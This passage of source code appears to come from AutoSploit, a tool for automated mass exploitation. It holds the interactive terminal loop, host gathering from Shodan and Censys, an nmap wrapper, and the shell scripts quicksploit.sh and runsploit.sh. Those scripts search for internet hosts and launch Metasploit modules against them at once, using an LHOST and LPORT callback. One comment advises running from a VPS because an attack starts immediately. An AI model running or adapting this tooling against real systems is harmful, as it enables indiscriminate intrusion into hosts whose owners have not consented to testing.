lib.settings.check_for_msf(): 388 | msf_path = lib.output.prompt( 389 | "metasploit is not in your PATH, provide the full path to it", lowercase=False 390 | ) 391 | ruby_exec = True 392 | else: 393 | msf_path = None 394 | ruby_exec = False 395 | 396 | sort_mods = lib.output.prompt( 397 | "sort modules by relevance to last query[y/N]", lowercase=True 398 | ) 399 | 400 | try: 401 | if sort_mods.lower().startswith("y"): 402 | mods_to_use = lib.exploitation.exploiter.AutoSploitExploiter( 403 | None, None 404 | ).sort_modules_by_query() 405 | else: 406 | mods_to_use = self.modules 407 | except Exception: 408 | lib.output.error("error sorting modules defaulting to all") 409 | mods_to_use = self.modules 410 | 411 | view_modules = lib.output.prompt("view sorted modules[y/N]", lowercase=True) 412 | if view_modules.startswith("y"): 413 | for mod in mods_to_use: 414 | lib.output.misc_info(mod.strip()) 415 | lib.output.prompt("press enter to start exploitation phase") 416 | lib.output.info("starting exploitation phase") 417 | lib.exploitation.exploiter.AutoSploitExploiter( 418 | configuration=workspace_info[0:3], 419 | all_modules=mods_to_use, 420 | hosts=open(lib.settings.HOST_FILE).readlines(), 421 | msf_path=msf_path, 422 | ruby_exec=ruby_exec, 423 | check_honey=workspace_info[-1], 424 | shodan_token=shodan_token 425 | ).start_exploit() 426 | 427 | def do_load_custom_hosts(self, file_path): 428 | """ 429 | Explanation: 430 | ----------- 431 | Load a custom exploit file, this is useful to attack already gathered hosts 432 | instead of trying to gather them again from the backup host files inside 433 | of the `.autosploit_home` directory 434 | 435 | Parameters: 436 | ----------- 437 | :param file_path: the full path to the loadable hosts file 438 | 439 | Command Format: 440 | -------------- 441 | custom[/personal] FILE_PATH 442 | 443 | Examples: 444 | --------- 445 | custom /some/path/to/myfile.txt 446 | """ 447 | import shutil 448 | 449 | try: 450 | open("{}".format(file_path)).close() 451 | except IOError: 452 | lib.output.error("file does not exist, check the path and try again") 453 | return 454 | lib.output.warning("overwriting hosts file with provided, and backing up current") 455 | backup_path = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) 456 | shutil.copy(file_path, lib.settings.HOST_FILE) 457 | lib.output.info("host file replaced, backup stored under '{}'".format(backup_path)) 458 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 459 | 460 | def do_nmap_scan(self, target, arguments): 461 | """ 462 | Explanation: 463 | ----------- 464 | Perform a nmap scan on a provided target, given that nmap is on your system. 465 | If nmap is not on your system, this will not work, you may also provide 466 | arguments known to nmap. 467 | 468 | Parameters: 469 | ---------- 470 | :param target: the target to attack 471 | :param arguments: a string of arguments separated by a comma 472 | 473 | Command Format: 474 | -------------- 475 | nmap[/mapper/mappy] TARGET [ARGUMENTS] 476 | 477 | Examples: 478 | -------- 479 | nmap/mapper/mappy 10.0.1.1 -sV,--dns-servers 1.1.1.1,--reason,-A 480 | nmap 10.0.1.1/24 481 | """ 482 | import lib.scanner.nmap 483 | 484 | sep = "-" * 30 485 | if arguments is not None: 486 | arguments = arguments.split(",") 487 | passable_arguments = lib.scanner.nmap.parse_nmap_args(arguments) 488 | else: 489 | passable_arguments = None 490 | try: 491 | nmap_path = lib.scanner.nmap.find_nmap(lib.settings.NMAP_POSSIBLE_PATHS) 492 | except lib.errors.NmapNotFoundException: 493 | nmap_path = None 494 | lib.output.error("nmap was not found on your system please install nmap first") 495 | return 496 | lib.output.info("performing nmap scan on {}".format(target)) 497 | try: 498 | output, warnings, errors = lib.scanner.nmap.do_scan(target, nmap_path, arguments=passable_arguments) 499 | formatted_results_output = lib.scanner.nmap.parse_xml_output(output, warnings, errors) 500 | save_file = lib.scanner.nmap.write_data(target, formatted_results_output, is_xml=False) 501 | lib.output.misc_info("JSON data dumped to file: '{}'".format(save_file)) 502 | print("{sep}\n{data}\n{sep}".format( 503 | data=json.dumps(formatted_results_output["nmap_scan"][target], indent=4), sep=sep 504 | )) 505 | except lib.errors.NmapScannerError as e: 506 | lib.output.error(str(e).strip()) 507 | 508 | def terminal_main_display(self, tokens, extra_commands=None, save_history=True): 509 | # idk what the fuck the problem is but this seems to fix it so... 510 | import lib.output 511 | """ 512 | terminal main display 513 | """ 514 | lib.output.warning( 515 | "no arguments have been parsed at run time, dropping into terminal session. " 516 | "to get help type `help` to quit type `exit/quit` to get help on " 517 | "a specific command type `command help`" 518 | ) 519 | 520 | if extra_commands is not None: 521 | for command in extra_commands: 522 | self.external_terminal_commands.append(command) 523 | self.reflect_memory() 524 | while not self.quit_terminal: 525 | try: 526 | lib.settings.auto_completer(self.internal_terminal_commands) 527 | try: 528 | choice_type, choice = self.get_choice() 529 | if choice_type == "unknown": 530 | sims = lib.settings.find_similar( 531 | choice, 532 | self.internal_terminal_commands, 533 | self.external_terminal_commands 534 | ) 535 | if len(sims) != 0: 536 | max_sims_display = 7 537 | print( 538 | "no command '{}' found, but there {} {} similar command{}".format( 539 | choice, 540 | "are" if len(sims) > 1 else "is", 541 | len(sims), 542 | "s" if len(sims) > 1 else "" 543 | ) 544 | ) 545 | if len(sims) > max_sims_display: 546 | print("will only display top {} results".format(max_sims_display)) 547 | for i, cmd in enumerate(sims, start=1): 548 | if i == max_sims_display: 549 | break 550 | print(cmd) 551 | print("{}: command not found".format(choice)) 552 | else: 553 | print("{} command not found".format(choice)) 554 | self.history.append(choice) 555 | elif choice_type == "external": 556 | self.do_terminal_command(choice) 557 | self.history.append(choice) 558 | else: 559 | try: 560 | choice_data_list = choice.split(" ") 561 | if choice_data_list[-1] == "": 562 | choice_data_list = None 563 | except: 564 | choice_data_list = None 565 | if choice == "?" or choice == "help": 566 | self.do_display_usage() 567 | elif any(c in choice for c in ("external",)): 568 | self.do_display_external() 569 | elif any(c in choice for c in ("history", "mem", "memory")): 570 | self.do_display_history() 571 | elif any(c in choice for c in ("exit", "quit")): 572 | self.do_quit_terminal(save_history=save_history) 573 | elif any(c in choice for c in ("view", "show")): 574 | self.do_view_gathered() 575 | elif any(c in choice for c in ("version",)): 576 | self.do_show_version_number() 577 | elif any(c in choice for c in ("clean", "clear")): 578 | self.do_clean_hosts() 579 | elif "single" in choice: 580 | try: 581 | if "help" in choice_data_list: 582 | print(self.do_load_custom_hosts.__doc__) 583 | except TypeError: 584 | pass 585 | if choice_data_list is None or len(choice_data_list) == 1: 586 | lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") 587 | else: 588 | self.do_add_single_host(choice_data_list[-1]) 589 | elif any(c in choice for c in ("exploit", "run", "attack")): 590 | try: 591 | if "help" in choice_data_list: 592 | print(self.do_exploit_targets.__doc__) 593 | except TypeError: 594 | pass 595 | if choice_data_list is None or len(choice_data_list) < 4: 596 | lib.output.error( 597 | "must provide at least LHOST, LPORT, workspace name with `{}` keyword " 598 | "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( 599 | choice.split(" ")[0].strip(), choice.split(" ")[0].strip() 600 | ) 601 | ) 602 | else: 603 | if lib.settings.validate_ip_addr(choice_data_list[1], home_ok=True): 604 | try: 605 | workspace = ( 606 | choice_data_list[1], choice_data_list[2], 607 | choice_data_list[3], choice_data_list[4], 608 | True if "honeycheck" in choice_data_list else False 609 | ) 610 | except IndexError: 611 | workspace = ( 612 | choice_data_list[1], choice_data_list[2], 613 | choice_data_list[3], None, 614 | True if "honeycheck" in choice_data_list else False 615 | ) 616 | if workspace[-1]: 617 | honeyscore = None 618 | while honeyscore is None: 619 | honeyscore = lib.output.prompt( 620 | "enter the honeyscore you want as the maximum allowed" 621 | ) 622 | try: 623 | honeyscore = float(honeyscore) 624 | except: 625 | honeyscore = None 626 | lib.output.error("honey score must be a float (IE 0.3)") 627 | self.do_exploit_targets( 628 | workspace, shodan_token=self.tokens["shodan"][0] 629 | ) 630 | else: 631 | lib.output.warning( 632 | "heuristics could not validate provided IP address, " 633 | "did you type it right?" 634 | ) 635 | elif any(c in choice for c in ("personal", "custom")): 636 | try: 637 | if "help" in choice_data_list: 638 | print(self.do_load_custom_hosts.__doc__) 639 | except TypeError: 640 | pass 641 | if choice_data_list is not None and len(choice_data_list) == 1: 642 | lib.output.error("must provide full path to file after `{}` keyword".format(choice)) 643 | else: 644 | self.do_load_custom_hosts(choice_data_list[-1]) 645 | elif any(c in choice for c in ("search", "api", "gather")): 646 | try: 647 | if "help" in choice_data_list: 648 | print(self.do_load_custom_hosts.__doc__) 649 | except TypeError: 650 | pass 651 | if choice_data_list is None or len(choice_data_list) < 3: 652 | lib.output.error( 653 | "must provide a list of API names after `{}` keyword and query " 654 | "(IE {} shodan,censys apache2)".format( 655 | choice.split(" ")[0].strip(), choice.split(" ")[0].strip() 656 | ) 657 | ) 658 | else: 659 | self.do_api_search(choice_data_list[1], choice_data_list[2:], tokens) 660 | elif any(c in choice for c in ("idkwhatimdoing", "ethics", "skid")): 661 | import random 662 | 663 | if choice == "ethics" or choice == "idkwhatimdoing": 664 | ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) 665 | other_file = "{}/etc/text_files/gen".format(os.getcwd()) 666 | with open(ethics_file) as ethics: 667 | ethic = random.choice(ethics.readlines()).strip() 668 | lib.output.info("take this ethical lesson into consideration before proceeding:") 669 | print("\n{}\n".format(ethic)) 670 | lib.output.warning(open(other_file).read()) 671 | else: 672 | lib.output.warning("hack to learn, don't learn to hack") 673 | elif any(c in choice for c in ("tokens", "reset")): 674 | acceptable_api_names = ("shodan", "censys") 675 | 676 | try: 677 | if "help" in choice_data_list: 678 | print(self.do_load_custom_hosts.__doc__) 679 | except TypeError: 680 | pass 681 | 682 | if choice_data_list is None or len(choice_data_list) < 3: 683 | lib.output.error( 684 | "must supply API name with `{}` keyword along with " 685 | "new token (IE {} shodan mytoken123 [userID (censys)])".format( 686 | choice.split(" ")[0].strip(), choice.split(" ")[0].strip() 687 | ) 688 | ) 689 | else: 690 | if choice_data_list[1].lower() in acceptable_api_names: 691 | try: 692 | api, token, username = choice_data_list[1], choice_data_list[2], choice_data_list[3] 693 | except IndexError: 694 | api, token, username = choice_data_list[1], choice_data_list[2], None 695 | self.do_token_reset(api, token, username) 696 | else: 697 | lib.output.error("cannot reset {} API credentials".format(choice)) 698 | elif any(c in choice for c in ["nmap", "mapper", "mappy"]): 699 | try: 700 | if "help" in choice_data_list: 701 | print(self.do_nmap_scan.__doc__) 702 | except TypeError: 703 | pass 704 | target = choice_data_list[1] 705 | try: 706 | arguments = choice_data_list[2] 707 | lib.output.warning( 708 | "arguments that have a space in them most likely will not be processed correctly, " 709 | "(IE --dns-servers 1.1.1.1 will most likely cause issues)" 710 | ) 711 | except IndexError: 712 | arguments = None 713 | # don't know how im going to implement ports yet 714 | # try: 715 | # ports = choice_data_list[3] 716 | # except IndexError: 717 | # ports = None 718 | if "help" not in choice_data_list: 719 | self.do_nmap_scan(target, arguments) 720 | self.history.append(choice) 721 | self.__reload() 722 | except KeyboardInterrupt: 723 | lib.output.warning("use the `exit/quit` command to end terminal session") 724 | except IndexError: 725 | pass 726 | except Exception as e: 727 | global stop_animation 728 | 729 | stop_animation = True 730 | 731 | import sys 732 | import traceback 733 | import lib.creation.issue_creator 734 | 735 | print( 736 | "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " 737 | "in order for the developers to troubleshoot and repair the " 738 | "issue AutoSploit will need to gather your OS information, " 739 | "current arguments, the error message, and a traceback. " 740 | "None of this information can be used to identify you in any way\033[0m".format(str(e)) 741 | ) 742 | error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) 743 | error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") 744 | error_file = lib.settings.save_error_to_file(str(error_traceback), str(e), error_class) 745 | lib.creation.issue_creator.request_issue_creation(error_file, lib.creation.issue_creator.hide_sensitive(), str(e)) 746 | lib.output.info("continuing terminal session") 747 | # this way if you're in the terminal already we won't quit out of it 748 | continue 749 | -------------------------------------------------------------------------------- /quicksploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # this script quickly runs a query list of search keywords provided from a file on ALL of the 5 | # available APIs. (Censys, Zoomeye, and Shodan) from there it will save all of them to the hosts.txt 6 | # file and you can do as you will with that 7 | # 8 | 9 | function doQuick() { 10 | for item in $(cat $1); do python autosploit.py -A -a -f etc/json/default_modules.json -q $item; done 11 | } 12 | 13 | function helpPage() { 14 | echo "./quicksploit.sh FILENAME"; 15 | exit 1; 16 | } 17 | 18 | function main() { 19 | if [[ $EUID -ne 0 ]]; then 20 | echo "[!] must run script as root!"; 21 | exit 1; 22 | elif [[ ! -f $1 ]]; then 23 | helpPage; 24 | else 25 | echo "[+] starting quicksploit searching!"; 26 | doQuick $1; 27 | fi 28 | } 29 | 30 | main $@; -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.20.0 2 | psutil==5.6.6 3 | beautifulsoup4==4.6.3 4 | -------------------------------------------------------------------------------- /runsploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # this script runs autosploit with default configs and default modules 5 | # protip be on a VPS when you run this because it's gonna start an attack 6 | # right away 7 | # 8 | 9 | 10 | if [[ $# -lt 1 ]]; then 11 | echo "Syntax:" 12 | echo -e "\t./runsploit.sh PORT [WHITELIST]" 13 | exit 1 14 | fi 15 | 16 | echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; 17 | read 18 | 19 | WHITELIST=$2 20 | LPORT=$1 21 | 22 | LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` 23 | TIMESTAMP=`date +%s` 24 | 25 | if [[ ! $WHITELIST ]]; then 26 | python autosploit.py -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json 27 | else 28 | python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json 29 | fi; --------------------------------------------------------------------------------